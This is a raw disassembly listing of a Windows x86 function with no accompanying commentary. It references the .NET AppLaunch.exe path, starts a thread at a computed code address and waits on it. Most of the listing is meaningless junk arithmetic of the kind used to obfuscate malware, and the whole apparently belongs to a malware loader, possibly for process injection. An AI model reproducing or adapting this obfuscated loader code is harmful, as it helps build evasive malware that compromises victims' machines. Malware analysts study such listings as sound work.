vmovups ymmword [esp + 0x90], ymm0
vmovups ymmword [esp + 0x78], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
mov eax, dword [esp + 4]
vmovups ymmword [esp + 0x58], ymm2
vmovups ymmword [esp + 0x38], ymm1
mov eax, dword [eax + 0xe8]
mov dword [esp + 0x14], eax
test eax, eax
je 0x411325
mov eax, dword [ebp + 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x20]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x38]
mov dword [ebp + 0x20], eax
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [ebp + 0x1c], ax
jmp 0x411325
bswap eax
add edi, 0x1b
dec ebx
mov edi, 0xe8
bswap edi
dec edx
bswap ebx
mov edx, 0x45
bswap ebx
inc eax
rol edx, 0x53
sub esi, 0x4e
add ebx, 0x9b
rol edi, 0x18
inc edi
not ebx
add ebx, 0x99
inc ebx
dec eax
and eax, 1
mov edx, 0x29
mov edi, 0x42
sbb ebx, 0x94
sbb edi, 0xf4
imul edx
imul eax
neg esi
imul edi
or edx, 0x8e
rol ebx, 0x1c
rol edi, 0xae
not edi
rcl eax, 0x82
bswap edx
rol edi, 0xf0
neg esi
neg ebx
bswap edx
dec edi
or esi, 0xf1
rcl edx, 0xeb
bswap ebx
imul ebx
imul esi
mov eax, 0xf7
and eax, 0x81
mov esi, 0x47
neg edx
sub esi, 0xf3
add edx, 0x38
mov eax, 0x85
or ebx, 0x8d
mov eax, 0x8c
bswap eax
imul esi
inc edx
mov edx, 0xc8
ror edx, 0xde
mov esi, 6
dec ebx
ror esi, 0x2f
rcr esi, 0x61
neg esi
or ebx, 0x8b
sbb ebx, 0xcf
neg edx
and edx, 0x50
and esi, 0xad
rcl edi, 0x3b
rol eax, 0x47
imul esi
bswap ebx
sbb edi, 0x8b
neg esi
ror eax, 0x2c
imul edx
mov eax, 0x4b
neg eax
neg ebx
rcr esi, 0x19
not edi
and ebx, 0x76
sub ebx, 0xce
rcl edi, 0xd5
not edx
imul eax
not esi
add edi, 0xce
add eax, 0xdc
imul edi
rcl eax, 0x72
ror edx, 0x7c
not edi
mov eax, 0xa9
ror esi, 0x3f
dec esi
inc ebx
bswap edx
bswap ebx
mov edi, 0xdc
inc edx
dec esi
mov edi, 0x74
not edx
not esi
add eax, 0x35
rcl ebx, 0x60
neg eax
rcl eax, 0x2f
dec eax
rcl edx, 0x85
ror eax, 0x1d
not esi
neg esi
sbb eax, 0x94
bswap eax
not ebx
neg eax
inc edx
mov edx, 0xe4
sub edx, 0x4c
ror esi, 0x80
imul edi
add eax, 0x7c
sbb eax, 0xe
imul eax
inc edx
not eax
inc esi
neg esi
neg edi
sub esi, 0xe6
neg eax
rol edx, 0xb0
add edx, 0x77
rcl esi, 1
not ebx
neg edi
sbb edi, 0xed
neg edx
imul edx
not esi
imul ebx
not ebx
not edi
add esi, 0x8f
inc edx
not esi
bswap ebx
imul esi
mov eax, dword [esp + 4]
mov ecx, dword [esp]
add ecx, dword [eax + 0x28]
push 0
push 0
push 0
push ecx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [esp + 0x14], 0
mov esi, eax
je 0x411519
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov dword [ebp + 0x20], eax
mov dword [ebp + 0x1c], ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
rcr edx, 0x46
rol ebx, 0x7e
mov ebx, 0x71
bswap esi
ror ebx, 0xea
rcl esi, 0xc7
neg eax
rol edx, 0xbd
or eax, 0x5e
ror esi, 0x71
imul edi
imul edx
dec edi
rcl eax, 0xef
sbb edx, 0x5a
bswap edi
imul eax
bswap esi
imul edi
sub esi, 0x96
bswap edi
not esi
not edi
not edx
rcl eax, 0xe
neg ebx
rcr edx, 0x21
ror esi, 0x73
rcr esi, 0x32
rol ebx, 0x8e
not esi
and eax, 0xf9
ror edi, 0xaa
sub ebx, 0xbd
ror ebx, 0x83
rol edx, 0xf9
or esi, 0x5d
inc esi
sbb eax, 9
dec ebx
bswap edx
or edx, 0xa7
ror ebx, 4
imul edx
dec esi
rol edx, 9
rcr edi, 0xad
not edx
neg eax
bswap ebx
add esi, 0xe3
bswap esi
imul eax
imul esi
mov esi, 0xa5
bswap edx
sub edx, 0x56
bswap esi
rcl esi, 0xda
inc ebx
dec edi
or edi, 0xcd
and edx, 0x47
rol edi, 0xb2
neg ebx
bswap eax
not eax
inc eax
dec eax
dec esi
rol edx, 0x22
and edx, 0x39
imul eax
inc ebx
ror edx, 0xa7
neg esi
dec edx
and esi, 0xb7
not eax
neg eax
not esi
bswap edi
rcr edx, 2
not edx
bswap ebx
mov edi, 0x21
inc ebx
sbb eax, 0xde
sbb ebx, 0xa0
rcl esi, 0xd3
bswap eax
rcl edi, 0xf
neg esi
add ebx, 0x41
inc edi
bswap eax
bswap esi
rcl ebx, 6
not edx
dec edx
sub esi, 0x95
and edi, 0xde
dec esi
inc edx
rol edi, 0xee
bswap eax
dec edx
dec edi
and edi, 0x6b
rol edx, 0x4a
or eax, 0x11
or esi, 0x8b
add esi, 0xa4
inc edx
not eax
ror edx, 0xe8
not edx
inc ebx
bswap esi
inc esi
dec esi
rcr ebx, 0xfc
or edi, 0x48
add ebx, 0xbb
bswap eax
not edx
sbb edx, 0x30
dec esi
rcr edx, 0x8d
mov eax, 0x40
rcl ebx, 0xfc
imul ebx
sub ebx, 0xa0
not edx
ror esi, 0xb7
bswap ebx
imul esi
imul edx
sub edi, 0xcd
or edx, 0xfe
ror ebx, 0xbd
dec esi
sub edi, 0xed
bswap edi
not esi
mov esi, 0x1e
inc eax
ror edi, 0xa8
not ebx
inc edx
xor eax, eax
add esp, 0x5013c
pop esi
pop edi
pop ebx
pop ebp
ret